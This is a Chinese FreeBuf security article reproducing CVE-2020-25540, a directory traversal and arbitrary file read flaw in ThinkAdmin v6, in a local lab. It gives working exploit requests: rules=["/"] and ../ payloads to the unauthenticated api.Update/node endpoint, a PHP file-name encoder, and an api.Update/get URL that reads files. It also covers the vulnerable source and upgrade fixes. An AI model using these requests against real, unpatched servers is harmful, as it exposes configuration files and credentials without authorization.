freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

CVE-2020-25540 目录遍历文件读取漏洞
2020-12-03 11:00:59

本文由 东塔网络安全学院学员---景同学 投稿。

环境搭建

phpstudy2018+ThinkAdmin v6.0.3


ThinkAdmin版本 ≤ 2020.08.03.01

https://github.com/zoujingli/ThinkAdmin/tree/a57c3a9373bc89f5eaa4142d047481a898b5757e




Composer命令

\1. 安装Composer命令,phpstudy中PHP设置成7.1或以上版本,并把对应的文件夹放入环境变量path中

\2. 在phpstudy服务器中打开php.ini文件,找到extension=php_openssl.dll前面的分号去掉,意思是打开ssl扩展,目的是为了能在cmd命令中能进行访问

\3. 安装composer.phar,找到下载内容的地方,去下载当前最新版本的composer.phar,双击安装,不用勾选

下载地址https://getcomposer.org/Composer-Setup.exe

\4. 配置环境变量后自动选择了

然后一直下一步,安装完成

\5. 安装完成后在cmd命令行输入composer查看是否安装成功

\6. 设置阿里云 Composer 代理

由于国内访问Composer比较慢,建议设置阿里云Composer镜像,运行如下命令设置阿里云代理

composer config -g repo.packagist composer https://mirrors.aliyun.com/composer

\7. 搜索下载ThinkAdminV6的漏洞版本到本地

\8. 进入ThinkAdmin目录进行安装

composer install

\9. 然后进config/database.php目录下修改配置文件,需要创建一个数据库

修改数据库连接所用的账号密码 root/root


导入数据库

要将 thinkadmin 安装包里的 admin_v6.sql 文件导入到数据库



快速新建数据库


数据库名:admin_v6


常用source 命令

进入mysql数据库控制台,

如mysql -u root -p

mysql>use 数据库

然后使用source命令,后面参数为脚本文件(如这里用到的.sql)

mysql>source d:wcnc_db.sql






成功导入



\10. php进行运行 php think run

http://ip:8000打开页面



漏洞复现

目录遍历/任意文件读取


目录遍历

可以在浏览器直接构造,也可以burp抓包改包



①使用burp抓取首页的包,发送到Repeater模块构造数据包获取目录

②在Repeater模块中把GET修改成POST,url后添加 ?s=admin/api.Update/node

在下面输入rules=%5b%22%2f%22%5d //rules=["/"]

③点击"Send"发送,可以看到返回包中带有目录列表了


注:没有返回列表,是因为抓包时不是第一次加载页面,Content-Type字段被替换成为Cache-Control,虽然200但是列表内容为空。



抓第一次加载页面时的包就没问题


返回结果

rules=["/"]会遍历 E:\phpstudy2018\PHPTutorial\WWW\ThinkAdmin6 下所有文件



HTTP/1.1 200 OKHost: 192.168.80.111:8000Date: Mon, 30 Nov 2020 10:32:39 +0800Connection: closeX-Powered-By: PHP/7.2.1Content-Type:application/json; charset=utf-8Set-Cookie: think_lang=zh-cn; path=/Set-Cookie: PHPSESSID=8a43a78b3ebd325158a78608ac57107a; path=/{"code":1,"info":"获取文件列表成功!","data":{"rules":["\/"],"ignore":[],"list":[{"name":"\/admin_v6.sql","hash":"a6add0e2aab0e7d45f1ef35ad7846c52"},{"name":"\/app\/admin\/controller\/Auth.php","hash":"9a254f39ccdb4e334d48a8596d4ced57"},{"name":"\/app\/admin\/controller\/Config.php","hash":"09a65b23959905b7ea511e61b75d9626"},{"name":"\/app\/admin\/controller\/Index.php","hash":"da3736920e43b33e18e0ba72407c8588"},{"name":"\/app\/admin\/controller\/Login.php","hash":"c1820e476b786a793a48ff893bf8ed3c"},{"name":"\/app\/admin\/controller\/Menu.php","hash":"d278f7948bfbe005987c16d18d2f49cb"},{"name":"\/app\/admin\/controller\/Oplog.php","hash":"7340a732685f2d4e91c01b07aa3efc4d"},{"name":"\/app\/admin\/controller\/Queue.php","hash":"88ca8b37cb205adbbf771878836366be"},{"name":"\/app\/admin\/controller\/User.php","hash":"52c893ed2f2390e6a46ca3d0fcee59da"},{"name":"\/app\/admin\/controller\/api\/Plugs.php","hash":"db98179054e8fe3a051f97901ea9ff2b"},/*省略一万行*/{"name":"\/vendor\/zoujingli\/wechat-developer\/composer.json","hash":"7db3f4ea9c17c21174c665b22992e97a"},{"name":"\/vendor\/zoujingli\/wechat-developer\/include.php","hash":"1434ae58cf94166d7097fe29ba0d42da"},{"name":"\/vendor\/zoujingli\/wechat-developer\/readme.md","hash":"5dc2765147e9aff90a838578a1dd8083"},{"name":"\/启动须知.txt","hash":"263d4e9a08fbab5ac55e78cf537acb6f"}]}}

rules=["../"]会遍历 E:\phpstudy2018\PHPTutorial\WWW 下所有文件

rules=["../../"]会遍历 E:\phpstudy2018\PHPTutorial 下所有文件

rules=["../../../"]会遍历 E:\phpstudy2018 下所有文件

rules=["../../../../"]会遍历 E:\ 下所有文件


目录遍历内容超出限制会报错


任意文件读取

①读取根目录下【启动须知.txt】



②在使用加密函数对文件名进行加密,等下传参要用

<?php function encode($content) { //加密正常文件名 //list($chars, $length) = ['', strlen($string = iconv('UTF-8', 'GBK//TRANSLIT', $content))]; //加密中文文件名 list($chars, $length) = ['', strlen($string = iconv('UTF-8', 'GB2312', $content))]; for ($i = 0; $i < $length; $i++) $chars .= str_pad(base_convert(ord($string[$i]), 10, 36), 2, 0, 0); return $chars; }$content="启动须知.txt";echo encode($content);?>

在虚拟机运行


在线运行


5i6s524v5s6j5y4q1a383c38


③访问下面链接即可读取到文件内容

http://192.168.80.111:8000/admin.html?s=admin/api.Update/get/encode/5i6s524v5s6j5y4q1a383c38


base64解密得到文件内容




漏洞原因

由于Update.php这个文件中的函数方法没有授权导致的

Update.php

E:\phpstudy2018\PHPTutorial\WWW\ThinkAdmin6\app\admin\controller\api\Update.php

<?php// +----------------------------------------------------------------------// | ThinkAdmin// +----------------------------------------------------------------------// | 版权所有 2014~2020 广州楚才信息科技有限公司 [ http://www.cuci.cc ]// +----------------------------------------------------------------------// | 官方网站: https://thinkadmin.top// +----------------------------------------------------------------------// | 开源协议 ( https://mit-license.org )// +----------------------------------------------------------------------// | gitee 代码仓库:https://gitee.com/zoujingli/ThinkAdmin// | github 代码仓库:https://github.com/zoujingli/ThinkAdmin// +----------------------------------------------------------------------namespace app\admin\controller\api;use think\admin\Controller;use think\admin\service\InstallService;/** * 安装服务端支持 * Class Update * @package app\admin\controller\api */class Update extends Controller{ /** * 读取文件内容 */ public function get() { if (file_exists($file = $this->app->getRootPath() . decode(input('encode', '0')))) { $this->success('读取文件成功!', ['content' => base64_encode(file_get_contents($file))]); } else { $this->error('读取文件内容失败!'); } } /** * 读取文件列表 */ public function node() { $this->success('获取文件列表成功!', InstallService::instance()->getList( json_decode($this->request->post('rules', '[]', ''), true), json_decode($this->request->post('ignore', '[]', ''), true) )); }}


修复方式

1.升级到2020.08.03.01之后的版本

2.使用官方的临时修复方案

https://github.com/zoujingli/ThinkAdmin/issues/244


# 漏洞复现
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者